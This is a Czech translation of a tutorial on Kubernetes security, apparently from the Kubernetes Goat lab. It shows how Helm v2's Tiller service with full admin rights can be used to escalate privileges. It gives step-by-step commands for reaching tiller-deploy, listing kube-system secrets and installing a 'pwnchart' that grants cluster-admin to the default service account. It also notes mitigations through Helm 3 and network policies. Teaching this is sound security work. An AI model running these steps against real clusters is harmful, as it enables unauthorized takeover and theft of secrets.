
Helm — správce balíčků pro Kubernetes, něco jako apt-get pro Ubuntu. V této poznámce se podíváme na předchozí verzi helm (v2) se službou tiller, která je výchozím nastavením a prostřednictvím které získáme přístup ke klastru.
Připravíme klastr, k tomu spustíme příkaz:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash![]()
Demonstrace
- Pokud nic navíc nenastavujeme, helm v2 spouští službu tiller, která má RBAC s plnými administrátorskými právy pro klastr.
- Po instalaci v namespace
kube-systemse objevujetiller-deploy, a také se otevře port 44134, připojený k 0.0.0.0. To lze zkontrolovat pomocí telnetu.
$ telnet tiller-deploy.kube-system 44134
- Nyní se můžeme připojit k službě tiller. Použijeme binární soubor helm pro provádění operací při komunikaci se službou tiller:
$ helm --host tiller-deploy.kube-system:44134 version![]()
- Zkusíme získat tajemství z Kubernetes klastru z namespace
kube-system:
$ kubectl get secrets -n kube-system![]()
- Nyní můžeme vytvořit vlastní chart, ve kterém vytvoříme roli s administrátorskými právy a přiřadíme tuto roli výchozímu služebnímu účtu. Použitím tokenu z tohoto služebního účtu jsme získali plný přístup do našeho klastru.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Teď, když
pwnchartbyl nasazen, výchozí služební účet má plný administrátorský přístup. Znovu zkontrolujeme získání tajemství zkube-system
kubectl get secrets -n kube-system
Úspěšné provedení tohoto skriptu závisí na tom, jak byl tiller nasazen, někdy ho administrátoři nasazují ve zvláštním namespace s jinými oprávněními. Helm 3 není náchylný k takovým zranitelnostem, protože neobsahuje tiller.
Poznámka překladatele: používání síťových politik pro filtrování provozu v klastru pomáhá chránit před zranitelnostmi tohoto typu.
Zdroj: habr.com
